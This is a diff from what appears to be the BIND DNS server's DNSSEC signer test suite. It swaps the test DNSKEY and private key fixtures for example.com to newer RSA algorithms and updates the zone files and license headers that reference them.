+PrivateExponent: HzQaIgCAd6krnS5X5VDwYjiWgy26/syDmuUL+dOFHFyIz9yBnJAP9Q/H9tTDCyUwuhH0yGFetHHIAhs8cMoPDlnp9NSIpS+AfNx4n5AFkrTQlMuw24hpNfCts/MQDuid6GzETJyTHrZ7jEs64l0qRPiXOnLoUch3XK3eDF3ZlAfFkoPBFA5KIbiK8dcCahUmV4WReyE80X2N2dUloE8vLzy/j7yY2z1/HjhAu74S264wQMxNmJ0MsHeu78y7n8SKEJxncbgAciCNoamiQFiBGYYrs72B6BGHc19fhD5G7ldjpXukes9bHJSgj5ohseRJ27hkK7sKnqzOx/5Se6F5EQ==
+Prime1: vNcFqw4Gu/gsEcte00YXSGGkOWlsEAOEARMy+l7yYVC9GMR41YuINydu42Bj+D/Qq1ifYk9ok26VnXsJ6GFWK9DdFFtSElCzq1Crb7/7yuRR86cM9UBr3045g9tvlH6sL+yeH1ESr8vNZtmlytDifw2Xp2kg0xoJnlnV0ZXphOk=
+Prime2: 3+nmSodd/lDzVvn3uGMKux2B1mI2iApKM6bbwMwrzobN5bFkLkW1y1PuOYJytX1Sm39ecLCPYEmSf56kCitAquj7B98sblg05Y1QKvTTyX4uUsKFx3YAjvgp+acuI0Rq5J5GeSFCvdttgqAWdvvjoI8ic44K3sT1XTexaoLByJM=
+Exponent1: jUmr2gHSlAzonB+3QQfuH5++iZ4Q1iJrP4qn15/2ZU1NThyh89REBFAirUjPQ0wryieyiJG1Qqm4k20dSpqZKItK/hIdY8qxwvnGawQPVgxiLJTOIykiDJ+wdLFX2Ji2J903qWK1QoaPleY+H3MOI9V9pCoJ/yg6DhpU2kz5vRE=
+Exponent2: 04rLQ0Y4ivg3rchjPRR1Iupxq/UFx+jQyZOusaszB99bztGU8BJz+jDFNBgF/2jzDm1678Qe8L0RZvidye2rHs0VvQ4fj/BNqUGkp7C+FfLcGNwmP5dAV9Ik9fP4JuGQi4Ts16uQvoX8JBjSoH7BQwN3bOyZYHV7yiG/v/zgz3k=
+Coefficient: l8vCrMMiS8eWYQNM/SPa4/swn1/EZtcgPcBqMa3zia+9rOJ4/mzRcQTKz6B7c7Z9BVoTzMWGlgd94PTDeLN9fbTNmRs/8JwwgzJ8FeJeisvZquvarFtq2PdVVZQSxTwt7N6DUMVcA8Vbdq+uGjJghs22/sJ23MS3key+PUHtwFI=
+Created: 20220902075244
+Publish: 20220902075244
+Activate: 20220902075244
diff --git a/bin/tests/system/dnssec/signer/general/Kexample.com.+005+23362.key b/bin/tests/system/dnssec/signer/general/Kexample.com.+005+23362.key
deleted file mode 100644
index 6f4fec8c4b..0000000000
--- a/bin/tests/system/dnssec/signer/general/Kexample.com.+005+23362.key
+++ /dev/null
@@ -1 +0,0 @@
-example.com. IN DNSKEY 257 3 5 AwEAAbuWh5W3eGwixISqPwxszotQ0246KqhUB2Mb6JqNMJd6cWR66IrX YnevpIHsb6oanqJmVzOcJ6Yj3rXOIYtYYXgLbT7EJ8x7BNCZPHxG+w5C 7I1WsDbT6eGf//FLn2c4odKLOXaWCVITeNy61w43IlteIT9Q1egKdt+8 a7X9605j
diff --git a/bin/tests/system/dnssec/signer/general/Kexample.com.+005+23362.private b/bin/tests/system/dnssec/signer/general/Kexample.com.+005+23362.private
deleted file mode 100644
index 2d299d0e2e..0000000000
--- a/bin/tests/system/dnssec/signer/general/Kexample.com.+005+23362.private
+++ /dev/null
@@ -1,10 +0,0 @@
-Private-key-format: v1.2
-Algorithm: 5 (RSASHA1)
-Modulus: u5aHlbd4bCLEhKo/DGzOi1DTbjoqqFQHYxvomo0wl3pxZHroitdid6+kgexvqhqeomZXM5wnpiPetc4hi1hheAttPsQnzHsE0Jk8fEb7DkLsjVawNtPp4Z//8UufZzih0os5dpYJUhN43LrXDjciW14hP1DV6Ap237xrtf3rTmM=
-PublicExponent: AQAB
-PrivateExponent: XZSssv3CL3/wtZYQuewV5d4+e8C8wxiYTtL/aQqCcS7+HnhKRelJEBgpYz9GPX/mH3Iakn6WMQW39s6MYW2HwXUnqhsvHoyabGX0Dbc/1LcY4J2VPgzVHwSXYm+j4unOByOOS4KoBtUAQxJsTBokVZrZ5pKsLUK9X2gdywYw+PE=
-Prime1: 9fB7PaygjKoT1nbbeEMy1KYNqetg3zmN49Mk6ilEWxzJXKSSjTIhdkiLGXtYmE8rDBLBiYm8YWNe7YdA9PbQ7Q==
-Prime2: w0L7mTOLDecH3XAkC/wvALv8K9KSoZ31ajidKBxV15u8awj5AxDG7gjerYgCLjU1fq1GulMr11j8r4ftQn3Cjw==
-Exponent1: Up52yEE1rgt0npdPIxdv+//Ml0h7QoITKHXF8OPsEq+Y9YZTtRsiIpo8IFNPb9somuWyHoImxpCbUzAcoi5IAQ==
-Exponent2: uYTbvYx+UsAt9dOFPCnnkqAJEK3qCUomET0m/CQn30mldGC7DpGTIDgnMeLmh3agk/IYIBHDtsBinHfeEe2guw==
-Coefficient: FiHAet8On9Yaz1ksEAlCWulwck3zPWIsgqJBM2J4kHhgHTm17mZyxtVxIzLAMBNMIBcFl40FCpmPmTLY5QK5mw==
diff --git a/bin/tests/system/dnssec/signer/general/Kexample.com.+005+45884.key b/bin/tests/system/dnssec/signer/general/Kexample.com.+005+45884.key
new file mode 100644
index 0000000000..717d65f256
--- /dev/null
+++ b/bin/tests/system/dnssec/signer/general/Kexample.com.+005+45884.key
@@ -0,0 +1,5 @@
+; This is a key-signing key, keyid 45884, for example.com.
+; Created: 20220902075336 (Fri Sep  2 17:53:36 2022)
+; Publish: 20220902075336 (Fri Sep  2 17:53:36 2022)
+; Activate: 20220902075336 (Fri Sep  2 17:53:36 2022)
+example.com. IN DNSKEY 257 3 5 AwEAAZ6aTwNhgMDJ8AObT38LEX4nZe0CFXKkFv8fzBhEJEWgJRplhEhx laqGc47NoXChBiz5qdX2qAC0zi4CRydmV8TdG9shpED9kapIl7KVM3wj +irX36R9TpFT7Otmvsh7/RbRfpKz4I0pCC01hRHyj7EodMC4j3LMF9sc GWNmiOTQI1PTxbvIEDeDfoTUDMFzvOwVmH1Bq+SzA9Ikm2VADZO4vIIO J/07lWT+LDQ/g1qiCNaSDyNhGfNVf8xYvmB8OXomGFLqDuSpUkwdL5kB 2gGmnUbIH+Pn+pcN9fxVniKH3mzYEGCxIspePbhvwDfB30gTmE8uaFMa 7McouGKW3Ps=
diff --git a/bin/tests/system/dnssec/signer/general/Kexample.com.+005+45884.private b/bin/tests/system/dnssec/signer/general/Kexample.com.+005+45884.private
new file mode 100644
index 0000000000..891c6c3831
--- /dev/null
+++ b/bin/tests/system/dnssec/signer/general/Kexample.com.+005+45884.private
@@ -0,0 +1,13 @@
+Private-key-format: v1.3
+Algorithm: 5 (RSASHA1)
+Modulus: nppPA2GAwMnwA5tPfwsRfidl7QIVcqQW/x/MGEQkRaAlGmWESHGVqoZzjs2hcKEGLPmp1faoALTOLgJHJ2ZXxN0b2yGkQP2RqkiXspUzfCP6KtffpH1OkVPs62a+yHv9FtF+krPgjSkILTWFEfKPsSh0wLiPcswX2xwZY2aI5NAjU9PFu8gQN4N+hNQMwXO87BWYfUGr5LMD0iSbZUANk7i8gg4n/TuVZP4sND+DWqII1pIPI2EZ81V/zFi+YHw5eiYYUuoO5KlSTB0vmQHaAaadRsgf4+f6lw31/FWeIofebNgQYLEiyl49uG/AN8HfSBOYTy5oUxrsxyi4Ypbc+w==
+PublicExponent: AQAB
+PrivateExponent: SSWu0kbaPFAGH4u2NsgSicW+5vfCj4xpRMHT/c8TkX8CDbILN+QW3D5FNnPVBJ5nPD/rGdC3/BdnTeXkDiJP0W4Ohlp2KDkqQMhZGlZgl9z56F+GeBUIstLrnkfVLp6sg6UcBKnsIv5tFHiuBjCCH/kiG64jDpVdXUMQ3HyyHyC67sB1gIqpZdhQxFliVIaebwXHlv4uWi31DxTUj0mmutmpTD1r4z+43DlU3JL07WBBpIoOmG/GoFoDr+JNWWwArnhHDZFl6XL1Z2u5ojdIOcgLTXcU1SdvFwBHIAH9PIwvow0gVcZTIHwDYJ41CL6YExXF8ymVpIPspZPaFwSxvQ==
+Prime1: 2iWvbJTRrJuceM1CgOTMMoi/qMN/GtthmbL5V0w+hyFE6UzCWYQXED5YTPtoXk9tZ/YpnD7i5i7ru8VbLx0DAIrLkAFP3Xpxa7dvdRGzyPGuYARsjgNnj57M5Sl1tTTsZpkXaKEeiONCA6+vcSuc2l1NxqdDbhC/TwlpjOAbPRc=
+Prime2: uh+ZuRel3T3qvD7acXm2UyF2BdeEEwwIvzqZVi3uxwUTd/TxFA7+3xuX6LNM+HK5fNxuB3exVC8OzALFzUOOJECVFUfhKi/1+VrVfBuJnyLlqQ14RncbZvsn+ScfGZpgYuacvq0zWiP2scxmXSQxchxcFVRCKFRCCVGVuOLzNb0=
+Exponent1: coA7TrPiRkY7YBDk6kCtiYzLhKpwaclitkkBpTeozkbBI++dR10UufrvYCDJzE7Gbz3+4zsC360bIKjbTqRcsgkoBcMah3bAV7ilsP4EruFkFJPd4sCYuAKzK0mStfU8bDHI3qtLGrCmMschQDaTEu7MZwveUcRKlhKrqzzqLys=
+Exponent2: jlnU7KeViBzvB4La96crN3GEHvuyXA78MaXT2QHQeg770OdZ6wl9DY7BJIzd9bdo/oJo9PUqf0RugMIuHsvoTvnGDDypjeaYrlo2pXE6VKgQFrfioaI/Jwg4jmrJcn+L8JiIkZ1OhUa0S1AVim9AEhJ2qymCX+3xg8cOSBXsBdE=
+Coefficient: xotWVi9P/9Xr1FlKANoKVviBZaoT0xqbrVJLdmSLvyca+OipgxDilaPq+To7nAujkwtH/qdR14CHbkFSjxzzEp3jhOOSeh1HysCDlk5N7dCz2X+FHv977IYeC9vuGPG75Vbz18D7FUEy0huXgq003zJdd0e7djNca9a/GAp3gvc=
+Created: 20220902075336
+Publish: 20220902075336
+Activate: 20220902075336
diff --git a/bin/tests/system/dnssec/signer/general/Kexample.com.+010+18240.key b/bin/tests/system/dnssec/signer/general/Kexample.com.+010+18240.key
new file mode 100644
index 0000000000..47003a44c2
--- /dev/null
+++ b/bin/tests/system/dnssec/signer/general/Kexample.com.+010+18240.key
@@ -0,0 +1,5 @@
+; This is a zone-signing key, keyid 18240, for example.com.
+; Created: 20211221062121 (Tue Dec 21 17:21:21 2021)
+; Publish: 20211221062121 (Tue Dec 21 17:21:21 2021)
+; Activate: 20211221062121 (Tue Dec 21 17:21:21 2021)
+example.com. IN DNSKEY 256 3 10 AwEAAe5GunnuJFyzmKiGUknSQY3aPtR5UR8vNLLyMCJswffRzoYwY14/ 60ZTsqzh7N+lJV3KAOraocFSsTnmWIM7D7DPpqtaJMQw90ypBG0cnUP1 wKX9L/gdOH/ITlluBiZpCv9Aux3FRECHBO4Gx8Rse8ST2Vag3UuOPW+q HkLsWQt22K/hYuDhEtUWWx2dTIaXUVXNSNbk2zPL+lhC9PaRV+//1Fjo UX4qXCUuUN4TiqlkK2v4UkcIyld1n2R7qTQAkoN9amGFtPu8z5Zw7CxC San03yUSNuKub3fGys11gQRFuEHRX7FxKxvJjmcngG9qCh8AyfHZ8zYb VstTy1unFoM=
diff --git a/bin/tests/system/dnssec/signer/general/Kexample.com.+010+18240.private b/bin/tests/system/dnssec/signer/general/Kexample.com.+010+18240.private
new file mode 100644
index 0000000000..f16b62708a
--- /dev/null
+++ b/bin/tests/system/dnssec/signer/general/Kexample.com.+010+18240.private
@@ -0,0 +1,13 @@
+Private-key-format: v1.3
+Algorithm: 10 (RSASHA512)
+Modulus: 7ka6ee4kXLOYqIZSSdJBjdo+1HlRHy80svIwImzB99HOhjBjXj/rRlOyrOHs36UlXcoA6tqhwVKxOeZYgzsPsM+mq1okxDD3TKkEbRydQ/XApf0v+B04f8hOWW4GJmkK/0C7HcVEQIcE7gbHxGx7xJPZVqDdS449b6oeQuxZC3bYr+Fi4OES1RZbHZ1MhpdRVc1I1uTbM8v6WEL09pFX7//UWOhRfipcJS5Q3hOKqWQra/hSRwjKV3WfZHupNACSg31qYYW0+7zPlnDsLEJJqfTfJRI24q5vd8bKzXWBBEW4QdFfsXErG8mOZyeAb2oKHwDJ8dnzNhtWy1PLW6cWgw==
+PublicExponent: AQAB
+PrivateExponent: U/ipDv9V4TWJvxpXNZzbbVpUehym8g54y/d97yPU17kgxzmWS0jLaWVluneEOuzAVmUyHZIfHzo9KuJ6nwTZar5DRm/mNR3siR+nZ6yF38VjtxubJB1oI+A7fFjB4hdywLHXP46dlv/+RMQu8pIorAZOubDHTDE8hXW2ZG9WkisJ5P7KoaL4KFHHHXi5vsXAMph4Zphd/zPxVL2tHD3l5c3QXRpQWfTNZNQcZ1f/4yVCuMRibg5LCvpia0ZwRrlygfZdAHUUd0VJDfRO45J5nlIJSAHQtjYtVTL+xNISWOHXovVlInkVyluACqfX94I7qPXTu41yg3SxrrtHE6RTwQ==
+Prime1: +/YsRxmUxgvHKUh4SxdjzqNDDEi8b2BtM5IpctjVG3oYsL6J9xJB3U5/lbrGEPgl/1ndBUSXMQ6zQ5WcDE1qBAdW8t0eyniyuiexcgQ9f04Ds7p7oUiSHGLRn8YqQOzmiASXoZmkzfJZ+42pGhT3RZ+aYKtWQGMHqXabwV3zZl0=
+Prime2: 8hhnKzPzExy6wv/MV0aYKo1g4azrRjug6743/ctTC7zjnMmDW7RMFTXmq5Tu3pFaIL4N4C4m1b7P3abfTrjm+DwHnrlRIvLWS3zJnvUEM22i4BwqqTLRiJpoT5Bfp4pVsdOPT7Iyx1q5UsJZ7Q4qMpg2TFpGiQyieRB5Xwpu4l8=
+Exponent1: ZFPx7Z3SD8pA0793pu75Xx7DY/DSl8bdtNtOhdyxfu9vRXGZnjg24diQFR76H2ewOa2exKo7Sd2ApDi+mmd4/4Gsrag+yoClKlsD3VKy6i42ayqmb+Jly8fNkMFnsdKjOSYa+s4jQZ5vFiuiWjBfBeo3nqabAahtNJ12B9lRQkE=
+Exponent2: tNz4TnVsFo4zFLVHsrghvECM7WxjBMBNc3FToT6CV1WRcjO1+A/Ve08eenc0kYBjpex2r1GrX6pC3uPpFoXav/8Q7kqiTArBf/nFIwUHU2iH8wf38xntIjHA1hgU7jTR2p0kBrUpbHfh1esuhYQ8kDnY7ufOpFqVEv70vcUsm98=
+Coefficient: 3acDCJ9jCnHAP1km7jRO388mOpiI8U6SMv0PBD8l2UoB4CYwujrFxy6PhgUa486bbm5xZEaOwhYZcbw/g1qyC6Qt5kYOb2fVWOob/lEQmyqbDvHMQWTJoIbqaDTKQN/szI4xVdb/xZ6QR4Bq7JgbJpUACgweS540Y7Lf8Dry8C0=
+Created: 20211221062121
+Publish: 20211221062121
+Activate: 20211221062121
diff --git a/bin/tests/system/dnssec/signer/general/Kexample.com.+010+28633.key b/bin/tests/system/dnssec/signer/general/Kexample.com.+010+28633.key
new file mode 100644
index 0000000000..37bd259f6b
--- /dev/null
+++ b/bin/tests/system/dnssec/signer/general/Kexample.com.+010+28633.key
@@ -0,0 +1,5 @@
+; This is a key-signing key, keyid 28633, for example.com.
+; Created: 20211221062130 (Tue Dec 21 17:21:30 2021)
+; Publish: 20211221062130 (Tue Dec 21 17:21:30 2021)
+; Activate: 20211221062130 (Tue Dec 21 17:21:30 2021)
+example.com. IN DNSKEY 257 3 10 AwEAAc4lt8fDsdCzMCLHxXm8Ok/dw6XDiqx06Rf47LTeLmo6b64xm1Fs 0zloNMrcZDgwS5IxjQ3Breqc5aEc+jehueqCXa/fJXMdIt1VpUG0H7GP 4B+1IVmEiziHfmOozktdkuAyLqcsNhsf+J1+bCoHJSffgz6KbjBks/jR 12uyUnZCDrKGE/KfiR0gpT3watqGqqChO0KXq2N2PsnYfyRDea5FMUjM oPgOOyAT8LIMsM8x4f+EbU6m9Zc3Esafek9iLCS9R1333Pm1EEh5ghQT BsZ7omc5aSvrKUaIneojU3RdofceZouCliIDXmqscfY0y6bivGcmCQI/ LM4XUh7GWlM=
diff --git a/bin/tests/system/dnssec/signer/general/Kexample.com.+010+28633.private b/bin/tests/system/dnssec/signer/general/Kexample.com.+010+28633.private
new file mode 100644
index 0000000000..6d7f72e48b
--- /dev/null
+++ b/bin/tests/system/dnssec/signer/general/Kexample.com.+010+28633.private
@@ -0,0 +1,13 @@
+Private-key-format: v1.3
+Algorithm: 10 (RSASHA512)
+Modulus: ziW3x8Ox0LMwIsfFebw6T93DpcOKrHTpF/jstN4uajpvrjGbUWzTOWg0ytxkODBLkjGNDcGt6pzloRz6N6G56oJdr98lcx0i3VWlQbQfsY/gH7UhWYSLOId+Y6jOS12S4DIupyw2Gx/4nX5sKgclJ9+DPopuMGSz+NHXa7JSdkIOsoYT8p+JHSClPfBq2oaqoKE7QperY3Y+ydh/JEN5rkUxSMyg+A47IBPwsgywzzHh/4RtTqb1lzcSxp96T2IsJL1HXffc+bUQSHmCFBMGxnuiZzlpK+spRoid6iNTdF2h9x5mi4KWIgNeaqxx9jTLpuK8ZyYJAj8szhdSHsZaUw==
+PublicExponent: AQAB
+PrivateExponent: Wr3fl99cdjFqDuVA18UzJdTIOj9I24Da2eKIz1S9uaTfZB4R8FWm5K4qDuHUe6dGnKOTI2sN0ygdLD5FJhfabo/UDYZ8RZ+dqS/5/mH7UX2zekGQ3Iargcaiq9uycxpNfMKaJpwfdPEtzqXHlvhuMo8AhpcIyeSKFAzKdm2YPtUqIrum4RARHyfRLfLyWlkIotPdyiaKCVGQxiRbFsTcmIB2Bizmt7zRjlB+Hxf8MooXmaKUFRQtMCLnFGK0ecFI1CWAxmLSanvYVKQ0HxcFkFKzRiZAz1au7ZfMgYDZj0jF72WAGU3Edcmdc0QIQRTWjb/3wcBfwlr9s6lKoF3ngQ==
+Prime1: 1EIziKhz7dF41rb/hckdr2qeY8eM7tLrT5jIMPLISHCCuKm5IK2u7PY6m6NjMdhx1ilm7K2RGTt+TTFZaqDIEd8qpzRCxAGcfTVOmB9iHwmi9i9RoPSlY6o+iShft68ZnvPiGJWUF2huRYVK2F0cIWErwSqaBGsFd79mXmlkn98=
+Prime2: +KEdNtZj9JyCCR2xbLAw3tnAYxHvJ3skVMjxV3cyUupMWi12NWxGhHH1nnetXxDR2LBBuqIl4pE/4MeXe3sClMHTL3Z9XG+pzQAsHS7yvsfZERdyuWZYYy0ya/7XY2auvRVO6LxN7d47VWjYxAGfoCsbCEivgDxmt1dTZhAtRA0=
+Exponent1: d5TcZ69PsLoEtCLhDkRh/wO4PEqeMaaOf4d5sWn2QCly3Apyi+CN3l5SYoDIT7q7V4Z3v/uA9ZA49dBJqfLvBHKQGycsPjUSLtAreTSlGQtazguWl3F9BAtTs/4U/u0dKBoKVQNgLVfeWDhiFEdQo9WUyvzvTHHm4LHqQGJsGE0=
+Exponent2: EU2dK+DVygNOZXYEkAzfCdNbuUlZPIUsbR4i9bRc8zpNIAWD8YncioEn1+R6U2BnSk5R9LwuKMt1B568YyKXdmTa3rW/WbyHs7WsXEeVK0PbTn40RMTjp9tQZAWzVb6isJQYDsh0H/bUaEhItbNrOYlmczgjxqftehsAudysWc0=
+Coefficient: sl2u/8vttxpiTbspGV4SsaDmKUNdzQH7BgJ5rl3mXPp/aUpLw0Sr7FuARy8W8tq3yVNi9qCOnvGwVl6aQzZP7b8N04KiH8gewlAVdSfxG24yFKJIQNbWGKFZYZFYyjtLVlpK6NYF0f0I1KpAjn58XR0qIBvRFZYWBAkggU9C7ro=
+Created: 20211221062130
+Publish: 20211221062130
+Activate: 20211221062130
diff --git a/bin/tests/system/dnssec/signer/general/bogus-ksk.key b/bin/tests/system/dnssec/signer/general/bogus-ksk.key
index af4640baeb..e4685741ff 100644
--- a/bin/tests/system/dnssec/signer/general/bogus-ksk.key
+++ b/bin/tests/system/dnssec/signer/general/bogus-ksk.key
@@ -1,6 +1,6 @@
 ;
 ; This is a bogus key.  It will not have a .private file.
 ;
-; This will be key id 7091
+; This will be key id 23221
 ;
-example.com. IN DNSKEY 257 3 5 AwEAAaF0z17DdkBAKiYScVNqzsqXw7Vz/Cx5OCw7T/6RnU/KiGv815kl H2obywRZX2ZcEg9R8SUzQiP9ygY0s1xF5IFYi32HsWftNV7V/gNwNrMn GC0gV2e3OawsQ2CYWZZVwObr/fmcKIXuY6eRdJtyOilMRhlvroJdXZw1 CQdicxpz
+example.com. IN DNSKEY 257 3 10 AwEAAbcyptpM++pVjhpYQW2fVtyOw04IBSw4X0SYi/Ke4wVkmDNW2vBm AFkgiVVKmmNbb0IHDYQiIY7seXk0fjEwjzeY2bmeOAZxDdv2KT9VQpoY Matk2y4NTi6F/V04x0lL/CBvyifTeNbZKvY+S1eKFuWHeS5Ss8tiagz9 zdYWUe/msvmin+Hbs2tlLwXVl4hOmABCL9uK9H8R6GPL5VdEXYyFOh/v 71CNhRU5ufrARti69YYkfzH6NpWhlJWyJvDjqAdt2L3H8V71C2vcXbBu S5NscEYl+8JQfwUvOTN553I5IQrG+NQEusW36UM/Rkad8mMnUVM9Vzqk GH86GHKtLMc=
diff --git a/bin/tests/system/dnssec/signer/general/bogus-zsk.key b/bin/tests/system/dnssec/signer/general/bogus-zsk.key
index 2e53d5c52a..aa45938426 100644
--- a/bin/tests/system/dnssec/signer/general/bogus-zsk.key
+++ b/bin/tests/system/dnssec/signer/general/bogus-zsk.key
@@ -1,6 +1,6 @@
 ;
 ; This is a bogus key.  It will not have a .private file.
 ;
-; This will be key id 7092
+; This will be key id 48930
 ;
-example.com. IN DNSKEY 256 3 5 AwEAAaF0z17DdkBAKiYScVNqzsqXw7Vz/Cx5OCw7T/6RnU/KiGv815kl H2obywRZX2ZcEg9R8SUzQiP9ygY0s1xF5IFYi32HsWftNV7V/gNwNrMn GC0gV2e3OawsQ2CYWZZVwObr/fmcKIXuY6eRdJtyOilMRhlvroJdXZw1 CQdicxpz
+example.com. IN DNSKEY 256 3 10 AwEAAa/0IcnbGutPVkrz04tw5ZIYx6rU+FprB2rlKS8cTK/wiBOqbOC6 QIDdegDpZG1fOdj04ZQGa3pIizqC2CnlIWfxpfR6W+qSLRBuQ8gmwTmS c/Jy/0vAGB3fv3oVIqKslLNqIXZb3CKNiA2kGcut3aUgfeOW970Jga6z PAGKqPpPZTelW1Qy9N5BO4cRTuYo4uvbZveJv1W/2n5RN+UaeqU0f+AE DP0+wqSWNUfZsi6HygLwk08x3eO8PzTBlqBlAMfvNAygrmXqccMREyyH KEc5dVJ1qOXfj8BAdJUPmunyJhIwC9PxzOW7mn1lW7mZO2D5U/Jaxw2k eX2KblmVk8s=
diff --git a/bin/tests/system/dnssec/signer/general/test1.zone b/bin/tests/system/dnssec/signer/general/test1.zone
index 8c11a0e734..98c9f0233c 100644
--- a/bin/tests/system/dnssec/signer/general/test1.zone
+++ b/bin/tests/system/dnssec/signer/general/test1.zone
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
@@ -13,5 +15,5 @@
 ;
 $TTL 3600
 example.com.	IN	SOA ns hostmaster 00090000 1200 3600 604800 300
-$include Kexample.com.+005+07065.key
-$include Kexample.com.+005+23362.key
+$include Kexample.com.+010+18240.key
+$include Kexample.com.+010+28633.key
diff --git a/bin/tests/system/dnssec/signer/general/test10.zone b/bin/tests/system/dnssec/signer/general/test10.zone
new file mode 100644
index 0000000000..10a8bc97e1
--- /dev/null
+++ b/bin/tests/system/dnssec/signer/general/test10.zone
@@ -0,0 +1,20 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+;	This is a zone which has two DNSKEY records, both of which have
+; existing private key files available.  They should be loaded automatically
+; and the zone correctly signed.
+;
+$TTL 3600
+example.com.	IN	SOA ns hostmaster 00100000 1200 3600 604800 300
+extra.example.com. IN   A   1.2.3.4
+$include Kexample.com.+008+63613.key
+$include Kexample.com.+008+15002.key
diff --git a/bin/tests/system/dnssec/signer/general/test11.zone b/bin/tests/system/dnssec/signer/general/test11.zone
new file mode 100644
index 0000000000..538305fc14
--- /dev/null
+++ b/bin/tests/system/dnssec/signer/general/test11.zone
@@ -0,0 +1,19 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+;	This is a zone which has two DNSKEY records, both of which have
+; existing private key files available.  They should be loaded automatically
+; and the zone correctly signed.
+;
+$TTL 3600
+example.com.	IN	SOA ns hostmaster 00090000 1200 3600 604800 300
+$include Kexample.com.+005+19857.key
+$include Kexample.com.+005+45884.key
diff --git a/bin/tests/system/dnssec/signer/general/test2.zone b/bin/tests/system/dnssec/signer/general/test2.zone
index b603931a52..97c0d3d8dc 100644
--- a/bin/tests/system/dnssec/signer/general/test2.zone
+++ b/bin/tests/system/dnssec/signer/general/test2.zone
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
@@ -13,4 +15,4 @@
 ;
 $TTL 3600
 example.com.	IN	SOA ns hostmaster 00090000 1200 3600 604800 300
-$include Kexample.com.+005+07065.key
+$include Kexample.com.+010+18240.key
diff --git a/bin/tests/system/dnssec/signer/general/test3.zone b/bin/tests/system/dnssec/signer/general/test3.zone
index 70f2a869f1..bf9bc66c56 100644
--- a/bin/tests/system/dnssec/signer/general/test3.zone
+++ b/bin/tests/system/dnssec/signer/general/test3.zone
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
@@ -13,4 +15,4 @@
 ;
 $TTL 3600
 example.com.	IN	SOA ns hostmaster 00090000 1200 3600 604800 300
-$include Kexample.com.+005+23362.key
+$include Kexample.com.+010+28633.key
diff --git a/bin/tests/system/dnssec/signer/general/test4.zone b/bin/tests/system/dnssec/signer/general/test4.zone
index fb5b6c446f..9f05de50fb 100644
--- a/bin/tests/system/dnssec/signer/general/test4.zone
+++ b/bin/tests/system/dnssec/signer/general/test4.zone
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
@@ -13,6 +15,6 @@
 ;
 $TTL 3600
 example.com.	IN	SOA ns hostmaster 00090000 1200 3600 604800 300
-$include Kexample.com.+005+07065.key
-$include Kexample.com.+005+23362.key
+$include Kexample.com.+010+18240.key
+$include Kexample.com.+010+28633.key
 $include bogus-zsk.key
diff --git a/bin/tests/system/dnssec/signer/general/test5.zone b/bin/tests/system/dnssec/signer/general/test5.zone
index 7f33e271ff..d61504fbf9 100644
--- a/bin/tests/system/dnssec/signer/general/test5.zone
+++ b/bin/tests/system/dnssec/signer/general/test5.zone
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
@@ -12,6 +14,6 @@
 ;
 $TTL 3600
 example.com.	IN	SOA ns hostmaster 00090000 1200 3600 604800 300
-$include Kexample.com.+005+07065.key
-$include Kexample.com.+005+23362.key
+$include Kexample.com.+010+18240.key
+$include Kexample.com.+010+28633.key
 $include bogus-ksk.key
diff --git a/bin/tests/system/dnssec/signer/general/test6.zone b/bin/tests/system/dnssec/signer/general/test6.zone
index aad2838680..fcfb1ec260 100644
--- a/bin/tests/system/dnssec/signer/general/test6.zone
+++ b/bin/tests/system/dnssec/signer/general/test6.zone
